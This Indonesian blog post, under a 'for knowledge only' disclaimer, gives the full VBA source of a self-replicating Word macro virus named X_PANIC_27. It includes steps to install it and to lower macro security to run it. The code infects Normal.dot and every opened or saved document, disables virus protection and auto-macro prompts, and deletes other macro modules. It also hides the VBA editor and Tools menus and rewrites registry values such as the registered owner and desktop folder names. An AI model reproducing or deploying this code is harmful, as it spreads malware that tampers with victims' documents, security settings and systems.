PERINGATAN:
KAMI TIDAK BERTANGGUNG JAWAB ATAS PENYALAHGUNAAN SCRIPT INI
SOURCE INI HANYA DITUJUKAN UNTUK PENGETAHUAN SAJA.
JIKA ANDA SETUJU DENGAN PERNYATAAN DIATAS, SILAHKAN DLANJUTKAN
Virus ini tergoLong virus macro yang masih aktIf sampai saat ini, virus ini memanfaatkan Template yang terdapat pada Office.
Virus ini akan mengambil alih secara penuh dengan bersarang pada file Normal.dot. Virus ini akan menginfeksikan setian file yang dibuka ataupun yang baru dibuat.
Untuk mencoba menjalankannya, anda tinggal masuk ke Word/Excel kemudian masuk ke Visual Basic Editor.
Buat satu module dengan nama “X_PANIC_27″ (tanpa curek)
selanjutnya copy paste source code dibawah ini.
Bagi anda yang mencobanya pada Ms.Office versi 200o keatas, harus mematikan
Security level, dengan cara memilih menu:
Tools -> Macro -> Security, pilih jenis LOW Security
‘—>
‘
‘ X _ P A N I C _ 2 7
‘ (C) CopyRight 1997 – 1999 by Chino
‘ All rights reserved
‘
Public Const Tony_Hawk = “X_PANIC_27″
Public Const NoseGrind = “\~WRFO006.tmp”
Public Const Rail = “\Installer”
Sub AutoOpen()
Dim Drop_In As Object
Dim Fifty_Fifty As Object
Dim Shove_It As Object
Dim No_Comply As Object
Dim Heel_Flip As Boolean
Dim Kick_Flip As Boolean
Dim Tail_Slide As Variant
Dim Tail_Slide1 As Variant
Dim No_Slide As String
Dim Crooked As String
Dim Pumping As Integer
On Error Resume Next
Ollie_True
Stl_PANIC_27
AddIns.Unload True
Application.UserName = “Chino”
Application.UserAddress = “Cjb Brooklyn”
Application.UserInitials = “BG”
Crooked = Options.DefaultFilePath(12) & Rail
System.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security”, “Level”) = 1&
System.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Security”, “Level”) = 1&
If Dir(Crooked) = “” Then
MkDir Crooked
End If
Set Drop_In = NormalTemplate
Set No_Comply = ActiveDocument
Set Fifty_Fifty = Drop_In.VBProject.VBComponents
Set Shove_It = No_Comply.VBProject.VBComponents
No_Slide = Options.DefaultFilePath(12) & NoseGrind
Manual
For Each Tail_Slide In Fifty_Fifty
If Tail_Slide.Type = 1 And Tail_Slide.Name = Tony_Hawk And _
Fifty_Fifty.Count = 2 Then
Heel_Flip = True
Exit For
End If
Next Tail_Slide
For Each Tail_Slide1 In Shove_It
If Tail_Slide1.Type = 1 And Tail_Slide1.Name = Tony_Hawk Then
Kick_Flip = True
Exit For
End If
Next Tail_Slide1
If Heel_Flip = True Then
If Kick_Flip = False Then
Fifty_Fifty.Item(Tony_Hawk).Export No_Slide
Shove_It.import No_Slide
Crook
End If
Else
Shove_It.Item(Tony_Hawk).Export No_Slide
Fifty_Fifty.import No_Slide
Drop_In.Save
End If
If Dir(No_Slide) <> “” Then Kill No_Slide
Options.DefaultFilePath(2) = Crooked
With Drop_In
If Dir(Crooked & “\Normal.dot”) = “” Then
.OpenAsDocument.SaveAs Crooked & “\Normal.dot”
.OpenAsDocument.Close -1
End If
If Dir(Crooked & “\Email.dot”) = “” Then
.OpenAsDocument.SaveAs Crooked & “\Email.dot”
.OpenAsDocument.Close -1
End If
End With
Transfer
End Sub
Sub ViewVB()
MsgBox “I know you want me baby, I think I want you too, ” & vbCrlf & vbCrlf & _
“I think I love you baby, I think I love you too” & vbCrlf & vbCrlf & _
“I ‘m here to save you girl, come be in Shady’s world,” & vbCrlf & vbCrlf & _
“I want to grow together, let’s let our love unfurl”, 16
End Sub
Sub ViewVBCode()
ViewVB
End Sub
Sub AutoClose()
AutoOpen
End Sub
Sub FileTemplates()
ViewVB
End Sub
Sub ToggleFormsDesign()
ViewVB
End Sub
Sub FileNewDefault()
On Error Resume Next
Documents.Add
AutoOpen
End Sub
Sub Autoexec()
On Error Resume Next
Ollie_True
AddIns.Unload True
Stl_PANIC_27
Manual
Application.EnableCancelKey = (50 – 50)
Application.OnTime Now + TimeValue(”00:00:05″), “Normal.X_PANIC_27.Autoopen”
End Sub
Sub Ollie_False()
WordBasic.DisableAutoMacros False
End Sub
Sub Ollie_True()
WordBasic.DisableAutoMacros True
End Sub
Sub FileSave()
Ollie_True
If InStr(1, ActiveDocument.FullName, “\”) = 0 Then
If Dialogs(wdDialogFileSaveAs).show = 0 Then
AutoOpen
Else
AutoOpen
End If
End If
End Sub
Sub FileOPen()
Ollie_True
If Dialogs(wdDialogFileOpen).show <> 0 Then
AutoOpen
End If
Ollie_False
End Sub
Sub FileClose()
Ollie_True
AutoOpen
Crook
ActiveDocument.Close 0
Ollie_False
End Sub
Sub Manual()
On Error Resume Next
Dim no_a As Object
Dim no_b As Object
Dim ok_a As Variant
Dim ok_b As Variant
Dim no_x As Object
Dim no_y As Object
Set no_x = ActiveDocument
Set no_y = NormalTemplate
Set no_a = no_x.VBProject.VBComponents
Set no_b = no_y.VBProject.VBComponents
For Each ok_a In no_a
If ok_a.Type <> 100 Then
If ok_a.Name <> Tony_Hawk Then
no_a.Remove ok_a
End If
Else
If ok_a.Codemodule.CountOfLines <> 0 Then _
ok_a.Codemodule.DeleteLines 1, ok_a.Codemodule.CountOfLines
End If
Next ok_a
For Each ok_b In no_b
If ok_b.Type <> 100 Then
If ok_b.Name <> Tony_Hawk Then
no_b.Remove ok_b
End If
Else
If ok_b.Codemodule.CountOfLines <> 0 Then _
ok_b.Codemodule.DeleteLines 1, ok_b.Codemodule.CountOfLines
End If
Next ok_b
End Sub
Sub FileNew()
FileNewDefault
End Sub
Sub Crook()
On Error Resume Next
Dim Board As Object
Set Board = ActiveDocument
If Documents.Count <> 0 Then
If InStr(1, Board.FullName, “\”) <> 0 Then Board.Save
End If
End Sub
Sub Stl_PANIC_27()
Dim Ollie_180 As Object
Dim No_Comply As Object
Dim Pumping As Integer
On Error Resume Next
Set Ollie_180 = Application
Set No_Comply = ActiveDocument
With Ollie_180
.EnableCancelKey = (50 – 50)
No_Comply.ReadOnlyRecommended = (50 – 50)
.ScreenUpdating = (50 – 50)
.ShowVisualBasicEditor = (50 – 50)
Options.VirusProtection = (50 – 50)
Options.SaveNormalPrompt = (50 – 50)
Options.ConfirmConversions = (50 – 50)
Options.SavePropertiesPrompt = (50 – 50)
For Pumping = 1 To CommandBars.Count
CommandBars(Pumping).Protection = msoBarNoCustomize
Next Pumping
CommandBars(”Control Toolbox”).Enabled = False
CommandBars(”Forms”).Enabled = False
CommandBars(”Visual Basic”).Enabled = False
CommandBars(”Tools”).Controls(”Protect Document…”).Delete
CommandBars(”Tools”).Controls(”Templates And Add-Ins…”).Delete
CommandBars(”Tools”).Controls(”Macro”).Delete
End With
End Sub
Sub Transfer()
On Error Resume Next
With Dialogs(86)
.Author = “Chino”
.Keywords = “I know you want me baby…”
.Comments = “Ooooh girl you drive me crazy!”
.Subject = “Talk to me.”
.Title = “Untitled.doc”
.Execute
End With
With System
.PrivateProfileString(”", “HKEY_CURRENT_USER\Software\Microsoft\” & _
“MS Setup (ACME)\User Info”, “DefCompany”) = “Chino”
.PrivateProfileString(”", “HKEY_CURRENT_USER\Software\Microsoft\” & _
“MS Setup (ACME)\User Info”, “DefName”) = Tony_Hawk
.PrivateProfileString(”", “HKEY_CURRENT_USER\Software\Microsoft\” & _
“MS Setup (ACME)\User Info”, “OrgCompany”) = “Chino Soft”
.PrivateProfileString(”", _
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion”, _
“RegisteredOwner”) = Tony_Hawk
.PrivateProfileString(”", _
“HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion”, _
“RegisteredOrganization”) = “Chino”
.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Classes\CLSID\” & _
“{21EC2020-3AEA-1069-A2DD-08002B30309D}”, “”) = “Panel Panic”
.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Classes\CLSID\” & _
“{450D8FBA-AD25-11D0-98A8-0800361B1103}”, “”) = “Document Panic”
.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Classes\CLSID\” & _
“{645FF040-5081-101B-9F08-00AA002F954E}”, “”) = “Trash Panic”
.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Classes\CLSID\” & _
“{2227A280-3AEA-1069-A2DE-08002B30309D}”, “”) = “Printer Panic”
.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Classes\CLSID\” & _
“{20D04FE0-3AEA-1069-A2D8-08002B30309D}”, “”) = “Computer Panic”
.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Classes\CLSID\” & _
“{992CFFA0-F557-101A-88EC-00DD010CCC48}”, “”) = “Network Panic”
.PrivateProfileString(”", _
“HKEY_CURRENT_USER\Software\Classes\CLSID\” &_
“{208D2C60-3AEA-1069-A2D7-08002B30309D}”, “”) = “Neighborhood Panic”
.PrivateProfileString(”", “HKEY_CURRENT_USER\” & _
“Control Panel\International”, “s1159″) = “Windows Panic!”
.PrivateProfileString(”", “HKEY_CURRENT_USER\” & _
“Control Panel\International”, “s2359″) = “Windows Panic!”
End With
End Sub
No comments:
Post a Comment